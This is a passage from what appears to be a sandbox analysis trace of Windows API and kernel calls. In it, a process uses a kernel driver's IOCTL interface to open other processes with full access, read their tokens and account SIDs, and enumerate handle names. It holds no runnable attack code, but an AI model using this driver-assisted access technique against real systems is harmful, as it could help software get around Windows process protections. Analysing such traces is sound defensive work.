TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.537] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.624] CloseHandle (hObject=0xc8) returned 1 [0137.624] CloseHandle (hObject=0xc0) returned 1 [0137.624] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.624] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.625] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.625] PsAcquireProcessExitSynchronization () returned 0x0 [0137.625] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054735d0) [0137.625] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0137.625] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.625] PsReleaseProcessExitSynchronization () returned 0x2 [0137.625] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0137.625] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.625] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0137.625] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.625] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.625] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.625] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0137.625] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.625] PsAcquireProcessExitSynchronization () returned 0x0 [0137.625] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054735d0) [0137.625] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0137.625] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.625] PsReleaseProcessExitSynchronization () returned 0x2 [0137.625] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0137.625] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.625] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0137.625] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.625] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.625] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.625] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.626] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.626] PsAcquireProcessExitSynchronization () returned 0x0 [0137.626] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054735d0) [0137.626] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.626] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.626] PsReleaseProcessExitSynchronization () returned 0x2 [0137.626] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0137.626] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.626] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.626] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.626] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.626] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0137.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.626] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0137.626] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.626] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0137.626] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.626] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.626] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.626] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.626] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.628] CloseHandle (hObject=0xc8) returned 1 [0137.628] CloseHandle (hObject=0xc0) returned 1 [0137.628] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.628] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.628] PsAcquireProcessExitSynchronization () returned 0x0 [0137.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054735d0) [0137.628] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0137.628] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.628] PsReleaseProcessExitSynchronization () returned 0x2 [0137.628] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0137.628] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.628] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0137.628] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.628] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.628] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.628] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0137.628] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.628] PsAcquireProcessExitSynchronization () returned 0x0 [0137.628] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054735d0) [0137.628] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0137.628] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.628] PsReleaseProcessExitSynchronization () returned 0x2 [0137.628] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0137.628] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.628] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0137.628] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.628] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.629] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.629] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.629] PsAcquireProcessExitSynchronization () returned 0x0 [0137.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054735d0) [0137.629] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.629] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.629] PsReleaseProcessExitSynchronization () returned 0x2 [0137.629] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0137.629] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.629] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.629] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.629] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.629] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0137.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.629] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0137.629] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.629] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0137.629] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.629] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.629] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.629] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.629] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.631] CloseHandle (hObject=0xc8) returned 1 [0137.631] CloseHandle (hObject=0xc0) returned 1 [0137.631] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.631] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.631] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.631] PsAcquireProcessExitSynchronization () returned 0x0 [0137.631] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054735d0) [0137.631] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0137.631] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.631] PsReleaseProcessExitSynchronization () returned 0x2 [0137.631] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0137.631] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.631] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0137.631] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.631] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.631] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.631] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0137.631] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.631] PsAcquireProcessExitSynchronization () returned 0x0 [0137.631] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054735d0) [0137.631] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0137.631] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.631] PsReleaseProcessExitSynchronization () returned 0x2 [0137.631] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0137.631] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.632] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0137.632] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.632] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.632] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.632] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.632] PsAcquireProcessExitSynchronization () returned 0x0 [0137.632] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054735d0) [0137.632] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.632] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.632] PsReleaseProcessExitSynchronization () returned 0x2 [0137.632] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0137.632] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.632] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.632] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.632] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.632] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0137.632] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.632] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0137.632] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.632] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0137.632] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.632] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.632] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.632] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.632] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.634] CloseHandle (hObject=0xc8) returned 1 [0137.634] CloseHandle (hObject=0xc0) returned 1 [0137.634] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.634] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.634] PsAcquireProcessExitSynchronization () returned 0x0 [0137.634] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054735d0) [0137.634] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0137.634] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.634] PsReleaseProcessExitSynchronization () returned 0x2 [0137.634] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0137.634] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.634] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0137.634] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.634] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.634] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0137.634] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.634] PsAcquireProcessExitSynchronization () returned 0x0 [0137.634] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054735d0) [0137.634] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0137.634] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.634] PsReleaseProcessExitSynchronization () returned 0x2 [0137.634] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0137.634] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.634] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0137.635] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.635] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.635] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 